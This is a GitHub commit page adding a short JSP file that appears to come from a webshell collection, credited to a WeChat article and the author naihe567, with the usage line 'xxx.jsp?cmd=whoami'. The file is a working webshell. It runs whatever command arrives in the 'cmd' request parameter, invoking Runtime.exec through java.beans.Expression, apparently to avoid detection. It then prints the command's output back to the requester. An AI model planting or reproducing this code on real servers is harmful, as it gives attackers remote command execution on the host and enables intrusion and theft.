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Create 2022-09-03-03.jsp

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From: https://mp.weixin.qq.com/s/BlfQ0t9s0vpTZo6sndfteg
Author: naihe567
Usage: xxx.jsp?cmd=whoami
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tennc 2022-09-03 11:09:10 +08:00 committed by GitHub
parent 473c6f15a8
commit c801606539
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1 changed files with 17 additions and 0 deletions
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<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>